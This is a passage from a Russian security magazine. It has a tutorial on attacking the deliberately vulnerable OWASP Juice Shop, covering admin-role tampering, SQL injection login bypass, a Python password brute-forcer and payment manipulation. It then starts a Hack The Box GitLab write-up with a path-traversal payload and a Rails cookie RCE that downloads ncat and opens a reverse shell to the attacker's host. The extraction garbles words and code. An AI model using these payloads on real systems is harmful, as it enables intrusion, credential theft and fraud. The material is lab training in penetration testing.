В  гит хабе  раз работ чиков  всег да  мож но  най ти  .  Про ект  пос‐ 
тоян но раз вива ется, вно сят ся новые задания и исправ ляют ся ошиб ки, поэто‐ 
му  всег да  бери  самый  све жий  вари ант!  Но  он  дол жен  быть  сов мести мым
с тво им Node.js. Если на пре дыду щем эта пе ты уста новил Node.js 14, то тебе
будет нужен  . Ска чай его и рас‐ 
пакуй в удоб ную тебе пап ку.

све жие  релизы

juice‐shop‐xx.x.x_node14_linux_x64.tgz

 $tar ‐xzf juice‐shop‐xx.x.x_node14_linux_x64.tgz 

На этом уста нов ка завер шена. Перехо ди в пап ку с Juice Shop и запус кай его:

$npm start 

Ес ли  все  прош ло  успешно,  ты  уви дишь  сооб щение  «info:  Server  listening
on  port  3000».  Откры вай  любимый  бра узер  и  перехо ди
на  .  В  пра вом  вер хнем  углу  есть  выбор  язы ка,  я  всег да
рекомен дую  ста вить  англий ский,  так  ты  не  встре тишь ся  с  проб лемами
перево да раз ных тер минов и, воз можно, выучишь пару новых сло вечек. Наде‐ 
юсь, тебе нра вят ся соки и этот прек расный дырявый пакет, так как они и Burp
Suite ста нут тво ими луч шими друзь ями на мно жес тво увле катель ных часов.

http://localhost:3000

Настройка Burp Suite
Я  буду  исполь зовать  и  показы вать  скрин шоты  Burp  Suite  Community,  но  ты
можешь исполь зовать любой удоб ный тебе инс тру мент. Пос коль ку гра мот ная
нас трой ка Burp и интегра ция его с любимым бра узе ром потянет на хорошую
статью, я оставлю тебе это в качес тве домаш него задания. Пом ни, если все
статьи и советы в интерне те кажут ся тебе без надеж но уста рев шими — 

 всег да к тво им услу гам!
офи‐ 

циаль ная докумен тация

ОСНОВНЫЕ УЯЗВИМЫЕ МЕСТА
В  сво ей    я  уже  упо минал  о  важ ности  методи ки  и  сис‐ 
темно го под хода к пен тесту. В слу чае с веб‐при ложе ниями это вдвой не важ‐ 
но! В сети есть мно жес тво отличных чек‐лис тов вро де 
. Если ты никог да не слы шал о XSS, IDOR, CSRF, OAUTH — очень рекомен‐ 

дую тебе   раз работ чиков Burp Suite.

пре дыду щей  статье

Pentesting Web Check‐
list

бес плат ный курс
Те перь  перей дем  непос редс твен но  к  ана лизу  нашего  при ложе ния.  Я

рекомен дую  сде лать  таб личку  с  опи сани ем  дос тупных  фун кций  и  необ‐ 
ходимых  уров ней  дос тупа.  Она  поможет  тебе  потом  экспе римен тировать
над при ложе нием и отве чать на воп росы вро де «А что будет, если я отправ лю
админ ский зап рос с пра вами гос тя?»

Дос тупные фун кции

Прой дись  по  все му  при ложе нию,  понажи май  все  кноп ки,  пос мотри  товар.
Теперь  зарегис три руй ся  и  поп робуй  прой ти  весь  путь  покуп ки  товара
от  добав ления  его  в  кор зину  до  дос тавки.  Твоя  задача  —  поз накомить ся
с фун кци ями при ложе ния и подумать, где могут быть логичес кие ошиб ки раз‐ 
работ чиков  или  неуч тенные  момен ты.  Если  вдруг  закон чились  идеи,  какие
еще  мес та  магази на  мож но  посетить,  пос мотри  на    под робный
гид, сос тавлен ный раз работ чиками.

Happy  Path

WARNING

Я очень наде юсь, что ты не исполь зовал при тес‐ 
тирова нии  это го  при ложе ния  реаль ные  номера
бан ков ских карт и адре са! Пом ни, оно пол но дыр
как в пла не безопас ности,  так и в пла не при ват‐ 
ности. Если вдруг сде лал это, прос то уда ли пап ку
с при ложе нием и уста нови его сно ва.

На какие мес та и фун кции это го и дру гих при ложе ний я рекомен дую обра щать
осо бое вни мание:

фор ма регис тра ции, вхо да и вос ста нов ления пароля;•
лю бые стро ки поис ка и поль зователь ско го вво да. Они все могут быть уяз‐ 
вимы к раз ным видам XSS. Это я еще про демонс три рую;

•

все вари анты филь тра ции товара или выбор ки его по кри тери ям. Это час‐ 
то путь к SQL‐инъ екци ям;

•

ра бота с кор зиной, спис ком заказов и дос тавкой. Там час то мож но встре‐ 
тить очень пло хой кон троль дос тупа и под смот реть чужие кор зины и адре‐ 
са;

•

лю бые фун кции с воз можностью зло упот ребле ний (воз врат товара, плат‐ 
ные под писки и так далее);

•

ад минка и дос туп к ней неав торизо ван ных поль зовате лей или выпол нение
админ ских фун кций без необ ходимых прав (но вна чале надо в эту админку
попасть).

•

Те перь  самое  вре мя  пос мотреть  на  .  Все  десять  катего рий
обя затель но  при сутс тву ют  в  Juice  Shop.  Что  самое  инте рес ное,  в  каж дой
из  этих  катего рий  под робно  опи саны  вари анты  воз никно вения  и  методы
защиты. Вари анты мож но исполь зовать  как  чек‐лист для про вер ки вро де  «А
пос мотрел  ли  я  этот  момент  в  при ложе нии?»  или,  если  ты  раз работ чик,  «А
не допус тил ли я такой же ошиб ки у себя?»

OWASP  Top  10

На  этом  скуч ная  (но  очень  важ ная!)  ввод ная  часть  закан чива ется,  и  я
перехо жу непос редс твен но к демонс тра ции уяз вимос тей магази на.

ИЩЕМ ДОСКУ С ЗАДАНИЯМИ
Ты навер няка при пер вом запус ке уже заметил пакет с соком, пред лага ющий
решить очень прос тую задачу, а имен но най ти дос ку с  задани ями и резуль‐ 
татами, она же Score Board. У этой край не прос той задачи есть два вари анта
решения.
1. Вни матель но  пос мотри на  адресную стро ку  вида  , 
и так далее и подумай, а какой бы была стро ка для дос тупа к Score Board?
Сра зу ска жу, этот вари ант мне не очень нра вит ся, пос коль ку нуж но играть
в уга дай ку, и не всег да успешно. Поэто му я пред почитаю вари ант номер
два.

/#/search /#/login

2. Да вай изу чим исходный код сай та и пос мотрим, нет ли там чего инте рес‐ 
ного. Я наде юсь, ты уме ешь читать исходный код сай та в сво ем любимом
бра узе ре? В Firefox дос таточ но прос то нажать F12.

Ис ходный код глав ной стра ницы Juice Shop

Что сра зу же бро сает ся в гла за? Огромное количес тво под клю чаемых скрип‐ 
тов на JS! Нас с тобой будет инте ресо вать скрипт  . За что отве чают дру‐ 
гие  скрип ты,  ты  можешь  выяс нить  на  досуге  с  помощью  любимо го  поис‐ 
ковика.

main

Те перь  перехо ди  во  вклад ку  Debugger  и  смот ри  на  исходный  код  .
Выг лядит не очень, прав да? Тут есть два пути: или пытать ся вос ста новить код
пос ле миними зато ра JS c помощью одно го из мно жес тва сай тов‐деоб фуска‐ 
торов или прос то выб рать в Firefox (клик нув по зак ладке с наз вани ем фай ла)
Pretty print source и получить более чита емый исходный код. Для наших целей
пока хва тит и это го.

main

Код  вну шитель ный.  Это  пло хо  и  хорошо  одновре мен но.  Обыч но
это говорит о том, что очень мно го логики сай та вынес ли в кли ент ский Java‐
Script, а зна чит, ее мож но будет лег ко обой ти прос тым дебаг гером. Най дем
же наконец Score Board. Как эффектив нее искать в исходни ках, каж дый реша‐ 
ет сам, но в резуль тате ты дол жен доб рать ся до кус ка с уже зна комы ми тебе
мар шру тами вро де  ./#/search

Мар шрут к Score Board

Вби вай  в  адресную  стро ку 
и успешно выпол няй пер вое задание. Кста ти, теперь в левом меню появил ся
соот ветс тву ющий пункт и воз можность быс тро откры вать дос ку.

http://localhost:3000/#/score‐board

Вы пол ненное пер вое задание

INFO

На прос торах интерне та и в YouTube есть пол ные
решения  всех  задач  Juice  Shop.  Кро ме  того,  ты
всег да  можешь  почитать  под робное  объ ясне ние
поч ти  каж дого  задания с решени ем в 

,  но  я рекомен дую смот реть решение
толь ко  в  самом  край нем  слу чае.  Более  того,
некото рые  задачи  мож но  решить  совер шенно
раз ными метода ми.

кни ге раз‐ 
работ чиков

В  вер сии  Juice  Shop  12.7.0  появи лась  замеча тель ная  фун кция  —  теперь,
нажав  кноп ку  с  тре уголь ными  скоб ками,  мож но  уви деть  исходный  код  уяз‐ 
вимого  модуля  и  стро ку,  в  которой  и  про исхо дит  ошиб ка.  Прос то  срав ни
исходный код до миними зации и тот, что ты уви дел в бра узе ре. Воз можно, ты
най дешь новые инте рес ные мар шру ты, скры тые от тебя интерфей сом сай та.

Кста ти, на скрин шоте выше у меня уже выпол нено два задания. Я прос то
задал ся  воп росом,  а  что  будет,  если  поп робовать  открыть  мар шрут 

  не  регис три руясь  на  сай те?  Ты  же  пом нишь,  что  без  вхо да
в  учет ную  запись  его  нет  в  левом  меню?  Поп робуй  открыть  его  как  гость
и отпра вить ано ним ную жалобу! Получил новую ачив ку? Вот так делать не сто‐ 
ит, и всег да нуж но учи тывать, что любой мар шрут может быть открыт прос тым
набором нуж ного адре са в адресной стро ке. О том, почему не сто ит доверять
совер шенно ничему, при шед шему тебе по сети, я покажу чуть поз же.

,/#/complain

Продолжение статьи →
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ВЕБ-АПП
ГРОМИМ OWASP JUICE SHOP — 

ПОЛИГОН ДЛЯ АТАК НА ВЕБ‐ПРИЛОЖЕНИЯ

COVERSTORY  НАЧАЛО СТАТЬИ←

ОТКРЫВАЕМ АДМИНКУ
Преж де  чем  бро сать ся  с  головой  выпол нять  задания,  я  рекомен дую  вни‐ 
матель но озна комить ся с содер жимым дос ки. Все задания на ней раз делены
по  уров ню  слож ности  от  одной  до  шес ти  звез дочек.  Деление  дос таточ но
условное. Нап ример, нуж но сооб щить магази ну об исполь зовании «сла бой»
крип тогра фии. Сама по себе задача реша ется прос той отправ кой в чат наз‐ 
вания  уяз вимого  алго рит ма,  вот  толь ко  узнать  и  опре делить  эти  алго рит мы
мож но, выпол няя задания более высоко го уров ня слож ности. Поэто му не ста‐ 
рай ся выпол нить все задания одно го уров ня слож ности и лишь потом перехо‐ 
дить  к  дру гому.  Я  рекомен дую  руководс тво вать ся  катего риями  (кста ти,  ты
заметил их уди витель ную схо жесть с OWASP Top 10?). Теги нап ротив каж дого
задания могут показать тебе вер ное нап равле ние поис ка.

Не кото рые  задания  име ют  под сказ ку  или  тутори ал.  Поп робуй  вна чале
обой тись  без  помощи.  Одна ко  некото рые  задания  нас толь ко  туман ны,  что
есть смысл почитать более под робное опи сание в кни ге раз работ чиков. Вот,
к при меру,  .ка тего рия «Раз нооб разное»

Дос ка с задани ями

Те перь давай перей дем к поис ку админки и попыта емся в нее попасть. Наде‐ 
юсь, ты еще не забыл мес то, где мы наш ли адрес Score Board? Там же мож но
обна ружить и адрес админки! Одна ко при попыт ке перей ти по это му адре су
нас встре тит крас ный бан нер с ошиб кой 403... Самое вре мя запус тить Burp
Suite и пос мотреть на сетевой обмен.

Се тевой обмен при дос тупе к админке

Уди витель но,  но  ничего  похоже го  на  дос туп  к  админке  тут  нет!  Пом нишь
про огромный раз мер скрип та  ? Навер няка вся про вер ка дос тупа обра‐ 
баты вает ся в нем. Вре мя порабо тать с дебаг гером. Про ще все го най ти нуж‐ 
ное мес то в коде по ошиб ке дос тупа — 403.

main

Ис ходный код про вер ки прав дос тупа

Ви дишь  пер вую  и  вто рую  фун кцию  ?  Если  у  нас  нет  токена
или  нам  зап рещен  дос туп,  то  мы  получа ем  ошиб ку  403.  Что бы  сок ратить
количес тво  скрин шотов,  сра зу  ска жу  —  при дет ся  зарегис три ровать ся.
У  незаре гис три рован ных  поль зовате лей  токена  дос тупа  нет.  Так  что  самое
вре мя вой ти под соз данным ранее поль зовате лем или соз дать нового.

CanActivate()

Те перь  давай  поп робу ем  обма нуть  скрипт.  Для  это го  уста новим  точ ку
оста нова (breakpoint) на стро ке 579 и добавим в Watch перемен ную t.

Ус танов ка точ ки оста нова

Про буй открыть стра ницу с админкой еще раз. Пом ни, для  того что бы точ ка
оста нова  сра бота ла,  у  тебя  обя затель но  дол жна  быть  откры та  отла доч ная
кон соль!

Дан ные токена t

Те перь  оста лось  самое  прос тое.  Скрипт  выше  про веря ет,  соот ветс тву ет  ли
роль зна чению  . Если нет,  ты получишь ошиб ку дос тупа. Поэто му тебе
прос то нуж но испра вить зна чение роли на  . К сожале нию, с появ лени ем
новой кон соли раз работ чика в Firefox воз можность редак тирова ния перемен‐ 
ных в окне прос мотра сло мали и пока так и не вер нули… Запом ни путь к нуж‐ 
ному  зна чению  ,  перек лючись  в  окне  раз работ чика  на  вклад ку
Console и поменяй там зна чение роли на  .

admin
admin

t.data.role
admin

Из меня ем зна чение роли

Те перь вер нись в отладчик и про дол жи исполне ние скрип та. Поз драв ляю, ты
получил  дос туп  к  адми нис тра тив ной  час ти  сай та!  Почему  так  про изош ло?
Нель зя наде ять ся на кон троль дос тупа на уров не кли ент ско го кода, пос коль ку
кли ент всег да может этот код изме нить. Кста ти, это решение по уров ню слож‐ 
ности  тянет  звез дочки  на  три.  Чуть  поз же  ты  зарегис три руешь  нор маль ную
админ скую  учет ку  и  вос поль зуешь ся  SQLi  для  дос тупа  к  админке. Они  нам‐ 
ного про ще, так как не тре буют изу чения исходно го кода.

Хо чу  заметить,  что  пра виль ный  сер верный  код  не  показал  бы  и  спи сок
поль зовате лей или отзы вов, пос коль ку при зап росе их с сер вера он дол жен
был  про верить  токен  прав  поль зовате ля.  В  нашем же  слу чае  это го  не  про‐ 
исхо дит и, попав в админку, ты спо кой но видишь все дан ные…

Ес ли  ты не вык лючил Burp,  то можешь най ти эти стро ки  в обме не и  убе‐ 
дить ся,  что  про вер ка  прав  дос тупа  на  сер верной  сто роне  не  про исхо дит!
Отку да  это  мож но  понять?  Видишь  куку  ?  Это  так  называ емый  тoкен
JWT, и его мож но лег ко рас кодиро вать.

token

Зап росы к сер веру

JWT‐токен

В этом токене, по сути, содер жится весь про филь поль зовате ля и явно ука‐ 
зана его ори гиналь ная роль  , одна ко сер верный бэкенд не про веря‐ 
ет  пра ва  при  зап росе  всех  отзы вов  или  про филей.  Это  зна чит,  что,  перех‐ 
ватив  такой  зап рос,  ты  можешь  лег ко  получать  информа цию  о  зарегис три‐ 
рован ных  поль зовате лях,  даже  не  откры вая  админку.  Если  ты  раз работ чик,
никог да  так  не  делай!  Это  яркий  при мер    по  клас‐ 
сифика ции OWASP. К сожале нию, и в реаль ной жиз ни он встре чает ся на каж‐ 
дом шагу… Осо бен но этим гре шат мик росер висные архи тек туры.

customer

Broken  Access  Control

РЕГИСТРИРУЕМ УЧЕТНУЮ ЗАПИСЬ АДМИНИСТРАТОРА
Са мое вре мя зарегис три ровать себе пол ноцен ную учет ную запись адми нис‐ 
тра тора!  Для  это го  нуж но  разоб рать ся,  какая  же  информа ция  отправ ляет ся
при регис тра ции обыч ной учет ной записи с сай та. В этом тебе поможет Burp
Suite. Запус кай его и про ходи про цесс регис тра ции пол ностью.

Ре гис тра ция нового поль зовате ля

Как видишь, отпра вив информа цию из фор мы, в ответ ты получишь про филь
поль зовате ля  с  ролью  .  Одна  из  тра дици онных  оши бок  раз работ‐ 
чика свя зана с так называ емым mass assignment, или мас совым запол нени ем
полей.  Код  регис тра ции  поль зовате ля  при нима ет  спи сок  полей  про филя
для  обра бот ки,  а  для  отсутс тву ющих  полей  наз нача ется  зна чение  по  умол‐ 
чанию. Видишь пус тое поле    в отве те? Поп робуй перех ватить этот
зап рос до отправ ки и вста вить в него поле  , как на скрин шоте ниже.

customer

username
username

Из менен ный зап рос на соз дание поль зовате ля

А теперь вни матель но пос мотри на ответ сер вера! Видишь наше изме нен ное
имя поль зовате ля в отве те? Кро ме того, оно боль ше не воз вра щает ся пер вой
стро кой в дан ных. Наде юсь, ты понял, что нуж но сде лать со зна чени ем поля

. Про делай эту прос тую опе рацию, и админ ская учет ка у тебя в кар мане,
как  и  оче ред ное  выпол ненное  задание!  Кста ти,  оно  офи циаль но  тоже  зас‐ 
читыва ется за три звез дочки.

role

От вет сер вера на изме нен ные дан ные

ИСПОЛЬЗУЕМ SQL-ИНЪЕКЦИЮ ДЛЯ ВХОДА
Я  очень  наде юсь,  ты  не  раз  слы шал  об  SQL‐инъ екци ях  и  при чинах  их  воз‐ 
никно вения.  Если  нет,  то  самое  вре мя  отпра вить ся  изу чать  теорию.  Мне
очень  нра вит ся  .  Открой  окно  логина
поль зовате ля  и  нач ни  с  самого  прос того,  вста вив  оди нар ную  обратную
кавыч ку в поле логина и про изволь ный пароль. Судя по ярко‐крас ной ошиб ке,
мы на пра виль ном пути!

об ширный  спра воч ник  по  инъ екци ям

SQL‐инъ екция

К сожале нию, совер шенно непонят но, что же имен но про исхо дит и как даль‐ 
ше раз вивать эту инъ екцию. Здесь есть два вари анта решения: либо ты обла‐ 
даешь  боль шим  опы том  инъ екций  и  пла номер но  под бира ешь  нуж ные  зна‐ 
чения, либо, если это не о тебе, запус кай Burp и смот ри, что же про исхо дит
в  сети.  Пом ни,  это  очень  уяз вимое  при ложе ние,  и  навер няка  раз работ чики
допус тили не одну ошиб ку…

Ошиб ка при работе с базой

Кто  бы  сом невал ся,  тут  даже  есть  код  ори гиналь ного  SQL‐зап роса.  Теперь
подоб рать пра виль ную наг рузку для окна логина не сос тавит осо бого тру да!

Ус пешный вход от име ни адми нис тра тора

Здесь я дол жен сде лать нес коль ко важ ных замеча ний.
1. Ты  ниг де  не  ука зал  поч ту,  но  вошел  как  адми нис тра тор.  Это  про изош ло
потому, что в этом вари анте инъ екции выбира ется пер вая стро ка в базе,
она  же  чаще  все го  будет  пер вым  зарегис три рован ным  поль зовате лем
или суперад минис тра тором. Такое поведе ние есть в боль шинс тве CMS.

2. Ес ли  у  тебя  есть  адрес  поч ты  инте ресу юще го  тебя  поль зовате ля,  то  ты
можешь нем ного модифи циро вать инъ екцию и вой ти сра зу же от его лица.

3. Это  самый  прос той  и  яркий  при мер  клас са  .  Недаром  они  сто ят
на пер вом мес те по клас сифика ции ОWASP.

Injection

4. В коде при ложе ния еще мно го мест с инъ екци ями, как и задани ями на нее,
но  они  уже  слож нее  по  уров ню  исполне ния  и  наноси мому  уро ну.  Нап‐ 
ример, мож но получить всю базу дан ных вмес те с пароля ми поль зовате‐ 
лей!

УГАДЫВАЕМ ПАРОЛЬ АДМИНИСТРАТОРА
Мне  кажет ся,  адми нис тра тор  это го  магази на  уже  дос таточ но  нас тра дал ся
от тебя, одна ко в спис ке заданий есть дос таточ но инте рес ное — на под бор
пароля адми нис тра тора. Судя по все го двум звез дочкам рей тин га, оно край‐ 
не прос тое – мы же решим его более слож ным, но уни вер саль ным методом!

Ка кие же ошиб ки  в  реали зации аутен тифика ции допус тили раз работ чики
это го при ложе ния? А все самые популяр ные из раз дела  :Broken Authentication

от сутс тву ет защита от перебо ра пароля;•
поль зователь может уста новить сла бый пароль;•
поль зователь может уста новить прос той, как раз‐два‐три, пароль…•

Ты можешь поп робовать прос то  уга дать пароль адми нис тра тора, это не  так
слож но,  как  кажет ся  на  пер вый  взгляд  (или  наж ми  кноп ку  Tutorial,  и  пакет
с  соком  тебе  поможет).  Кро ме  того,  я  оста вил  тебе  неболь шую  под сказ ку
в пре дыду щем абза це. Я же покажу, как мож но решить эту задачу с помощью
перебо ра и спис ка популяр ных паролей  .rockyou.txt

Для начала тебе нуж но перех ватить зап рос на аутен тифика цию. Для это го
прос то  открой  Burp  и  поп робуй  пооче ред но  вой ти  как  любой  поль зователь
с пра виль ным и неп равиль ными пароля ми.

Зап рос с неп равиль ным паролем

Как  видишь,  для  логина  дос таточ но  отпра вить  JSON  с  дву мя  полями,  если
пароль неп равиль ный — тебе вер нется код 401. Тут я поп робовал нас тро ить
самый извес тный под борщик паролей  , но пос ле получа са борь бы с ним
прос то написал вот такой неболь шой код на Python.

Hydra

INFO

Де ло  в  том,  что  Hydra  очень  не  любит  JSON
и  некото рые  нюан сы  поведе ния  это го  при ложе‐ 
ния.  Если  хочешь,  можешь  сам  поп робовать
решить эти проб лемы.

 import requests

   passwords = open('/usr/share/wordlists/rockyou.txt','r')

     for password in passwords:
       password = password.rstrip("\n")
       data = {'email':'admin@juice‐sh.op','password':password}
       r = requests.post('http://localhost:3000/rest/user/login',json=
data)
         if r.status_code == 200:
       print("Password is ",password)
       break

print("That's all... ")

Ма лень кая рекомен дация: преж де чем запус кать перебор по все му сло варю
для  неиз вес тных  поль зовате лей,  убе дись,  что  ты  можешь  подоб рать  свой
собс твен ный пароль и в коде нет никаких оши бок. В моем слу чае приш лось
добавить код уда ления сим вола перено са стро ки из пароля.

БЕСПЛАТНЫЙ DELUXE
На пос ледок я покажу тебе, как мож но решить более слож ную задачу, а имен‐ 
но получе ние Deluxe Membership бес плат но!

Для начала запус ти Burp и пос мотри на весь обмен с сер вером при попыт‐ 
ке  купить Deluxe без денег  в  кошель ке и  карт.  Как  видишь,  в  одном из  зап‐ 
росов тебе воз вра щают сто имость в 49 условных еди ниц. Вос поль зуйся сво‐ 
ими навыка ми работы в Burp и прев рати их в 0.

Сто имость Deluxe Membership

Пос ле  это го  на  сле дующем  экра не  ты  смо жешь  опла тить  0  из  кошель ка,
но почему‐то это так прос то не получит ся... Если пос мотреть обмен, то уви‐ 
дишь пла теж из кошель ка и ошиб ку «недос таточ но денег».

Ошиб ка пла тежа из кошель ка

А  что,  если  заменить    на  что‐то  более  инте рес ное,  нап ример
 или  ?

paymentMode
free deluxe

Бес плат ный Deluxe Membership

Поз драв ляю! Ты  толь ко  что обма нул магазин на 49  условных еди ниц. Более
того,  если  ты  вни матель но  поэк спе римен тиру ешь  с  раз ными  вари анта ми
опла ты,  то  выяс нишь,  что  менять  цену  на  0  на  пер вом  эта пе  совер шенно
необя затель но.  Глав ное —  прев ратить  GET‐зап рос 

 в POST‐зап рос и добавить в него JSON‐дан ные   с любым
отличным от   или   зна чени ем.

/rest/deluxe‐member‐
ship paymentMode

wallet card

WARNING

Ни ког да  не  при меняй  такие  вещи  в  реаль ных
интернет‐магази нах!  Это  уго лов но  наказу емо
прак тичес ки во всех стра нах. Исклю чени ем может
быть  учас тие  магази на  в  прог рамме  bug  bounty,
но там мно го раз ных нюан сов, с которы ми нуж но
озна комить ся до начала баг хантин га!

ВЫВОДЫ
Очень наде юсь, что эта статья под тол кну ла тебя к более глу боко му изу чению
рекомен даций  OWASP  и  типовых  оши бок  веб‐при ложе ний.  В  Juice  Shop
еще  мно го  инте рес ных  задач  как  для  начина ющих,  так  и  для  опыт ных  пен‐ 
тесте ров. Если вдруг захоте лось пог лубже пог рузить ся в этот мир, то в статье
« » есть огромное количес тво полез ных ссы лок. Я же про‐ 
щаюсь  с  тобой  до  сле дующей  статьи,  в  которой  ты  поп робу ешь  решить
задачи с боль шим количес твом звез дочек!

Как учить ся пен тесту

https://pwning.owasp-juice.shop/part2/miscellaneous.html
https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
https://owasp.org/www-project-top-ten/2017/A1_2017-Injection.html
https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication.html
https://github.com/vanhauser-thc/thc-hydra
https://xakep.ru/2019/10/21/howto-pentesting/
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ВЗЛОМ

В этот раз мы раз берем лег кую машину —
Laboratory. На при мере ее про хож дения ты
научишь ся  экс плу ати ровать  уяз вимость
в GitLab для про изволь ного  чте ния фай лов
и  уда лен ного  выпол нения  кода.  Так же  мы
покопа емся  в  репози тори ях  и  повысим
при виле гии  с  помощью  тех ники  path
hijacking.

WARNING

Под клю чать ся  к  машинам  с  HTB  рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока‐ 
жешь ся в общей сети с дру гими учас тни ками.

РАЗВЕДКА
Сканирование портов
IP‐адрес машины — 10.10.10.216, я при помощи строч ки в   дам ей
имя  .

/etc/hosts
laboratory.htb
Пер вым  делом,  конеч но  же,  ска ниру ем  пор ты,  что бы  понять,  какие  сер‐ 

висы запуще ны на машине. В скрип те ниже ути лита Nmap вызыва ется дваж‐ 
ды: для быс тро го ска ниро вания и затем что бы прой тись по най ден ным пор‐ 
там с при мене нием скрип тов.

#!/bin/bash
nmap    500   |         1 | 

     |  s/, /
ports=$( ‐p‐ ‐‐min‐rate= $1 grep ^[0‐9] | cut ‐d '/' ‐f
tr '\n' ',' sed  $/ )
nmap     ‐p$ports ‐A $1

Ре зуль тат работы скрип та

Наш лось три откры тых пор та:
порт 22 (TCP) — служ ба SSH;•
порт 80 (HTTP) — веб‐сер вер Apache 2.4.41;•
порт 443 (HTTPS) — веб‐сер вер Apache 2.4.41.•

Ска ниро вание пор та 443 пре под носит нам при ятный сюр приз. Пос коль ку он
отве чает  за  обще ние  по  зашиф рован ному  про токо лу,  в  отче те  о  ска ниро‐ 
вании  мож но  най ти  сер тификат,  а  в  сер тифика те  еще  один  домен — 

. Я тоже добав лю его в  :
git.

laboratory.htb /etc/hosts

. . .      . .10 10 10 216 git laboratory htb

При  обра щении  по  домену    мы  ничего  инте рес ного
не получа ем, а вот на най ден ном   нас встре чает  .

laboratory.htb
git.laboratory.htb GitLab

Сканирование веба
GitLab — это сис тема управле ния репози тори ями кода для Git с собс твен ной
вики, сис темой отсле жива ния оши бок и дру гими фун кци ями.

Стра ница авто риза ции GitLab

У нас есть воз можность зарегис три ровать ся, что сра зу и сде лаем. Это поз‐ 
волит нам получить дос туп к боль шему чис лу фун кций, чем у гос тей. Пос коль‐ 
ку мы име ем дело с серь езным про ектом, «тыкать кавыч ки» в каж дую фор му
смыс ла  нет.  Вмес то  это го  сто ит  поис кать  информа цию  об  уяз вимос тях
и готовые экс пло иты. Пер вый шаг на пути к это му — узнать вер сию про дук та.
Обыч но  она  при водит ся  на  стра ницах  вро де  About  или  в  дан ном  слу чае —
Help.

Ис поль зуемая вер сия GitLab

Мы узна ем вер сию GitLab CE — 12.8.1.

ТОЧКА ВХОДА
В реаль ных усло виях луч ше все го искать экс пло иты при помощи Google, пос‐ 
коль ку этот поис ковик заг лядыва ет и в лич ные бло ги, и в самые раз ные отче‐ 
ты.  Но  для  уско рения  мож но  поль зовать ся  спе циали зиро ван ными  базами
вро де   — ско рее все го,  там най дут ся под ходящие вари анты. Если
ты  исполь зуешь  ,  то  эта  база  у  тебя  уже  есть  и  для  поис ка  мож но
исполь зовать ути литу  .

Exploit‐DB
Kali  Linux

searchsploit

По иск экс пло итов для GitLab с помощью searchsploit

Как видишь, мы наш ли сра зу нес коль ко экс пло итов, хотя для нуж ной вер сии
GitLab ничего нет. Зато есть для более новой (номер 48431), а зна чит, ско рее
все го, подой дет и к нашей.

Экс плу ати руемая уяз вимость сра баты вает при переме щении задачи меж‐ 
ду про екта ми GitLab и при водит к  тому, что мы можем читать фай лы на уда‐ 
лен ной  машине.  Одна ко  у  меня  ни  одна  из  реали заций  это го  экс пло ита
не зарабо тала, поэто му при дет ся все делать в руч ном режиме.

Для это го нам нуж но изна чаль ное иссле дова ние, доказа тель ство работос‐ 
пособ ности (proof of concept) этой уяз вимос ти. Что бы най ти его, обра щаем ся
в Google. Нам повез ло,  на HackerOne  (самая извес тная плат форма для bug
bounty) нашел ся  . В нем рас ска зано, как не толь ко читать фай лы,
но и получить уда лен ное выпол нение кода (RCE)!

це лый отчет

По иск PoC на HackerOne

Для  получе ния RCE  нам  нуж но  иметь  кон соль Ruby  on Rails  и  зна чение 
  из  фай ла 

.  Имен но  для  получе ния  содер жимого  это го фай ла  мы
будем  исполь зовать  пер вую  уяз вимость,  которая  поз воля ет  читать  про‐ 
изволь ные фай лы.

se‐
cret_key_base /opt/gitlab/embedded/service/gitlab‐rails/
config/secrets.yml

ЗАКРЕПЛЕНИЕ
Итак,  чита ем  файл.  Соз дадим  два  про екта  в  GitLab,  а  потом  перей дем
к  вклад ке  Issues и  выберем New  Issue.  Там  ука зыва ем сле дующее  зна чение
в качес тве опи сания и таким обра зом вос поль зуем ся уяз вимостью типа path
traversal.

 

 

![a](/uploads/
11111111111111111111111111111111/../../../../../../../../../../../../../
../opt/gitlab/embedded/service/gitlab‐rails/config/secrets.yml)

Стра ница соз данно го про екта

Стра ница New Issue

Да лее  необ ходимо  ука зать  целевой  про ект  (который  мы  соз дали  вто рым),
пос ле  чего    мож но  будет  заг ружать.  Так  мы  получа ем  нуж ный
для RCE сек ретный параметр.

secrets.yml

Вы бор опции переме щения задачи

Вы бор про екта для переме щения задачи

Дос тупный для заг рузки файл, пред став ленный в качес тве вло жения

Со дер жимое фай ла secrets.yml

Прис тупим  к  получе нию  уда лен ного  выпол нения  кода.  Для  это го  нам  нуж но
уста новить   в Docker. Пос ле уста нов ки запус каем.gitlab‐rails

   sudo docker run ‐‐rm ‐d ‐p 4443:443 ‐p 8090:80 ‐p 2222:22 ‐‐name 
gitlab gitlab/gitlab‐ce:12.8.1‐ce.0 
sudo docker images 
sudo docker run 719e7e45b1e2 

За пуск GitLab Docker Image

А теперь выпол ним bash в дан ном обра зе.

sudo docker ps 
 sudo docker exec ‐ti 2b2261d24147 bash 

По луче ние спис ка запущен ных кон тей неров

Вы пол нение bash в соз данном кон тей нере

Нам нуж но заменить файл 
  тем,  который мы смог ли  получить  с  уда лен ного  хос та.

Заг ружа ем кон соль коман дой   и выпол няем коман ды,
ука зан ные  в  отче те.  Сна чала  запус тим  лис тенер.  Я  советую  исполь зовать
обо лоч ку rlwrap, а в качес тве самого лис тенера исполь зуем извес тный netcat.

/opt/gitlab/embedded/service/gitlab‐rails/
config/secrets.yml

gilab‐rails console

apt install rlwrap 
 rlwrap nc ‐lvp [port] 

Спо собы соз дать бэк коннект‐шелл не сра бота ли, а вот коман да   выпол‐ 
нилась,  поэто му  для  соз дания  бэк коннек та  я  заг рузил  со  сво его  хос та  ста‐ 
тичес ки соб ранный  , наз начил ему пра ва на выпол нение и успешно под‐ 
клю чил ся.

wget

ncat

   request = ActionDispatch::Request.new(Rails.application.env_config)
   request.env["action_dispatch.cookies_serializer"] = :marshal

   cookies = request.cookie_jar
   erb = ERB.new("<%= `wget 10.10.14.75:8000/ncat ‐O /tmp/ncat ; chmod 

+x /tmp/ncat ; /tmp/ncat ‐e /bin/bash 10.10.14.75 4321` %>")
   

     
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.
new(erb, :result, "@result", ActiveSupport::Deprecation.new)

   cookies.signed[:cookie] = depr
 puts cookies[:cookie]

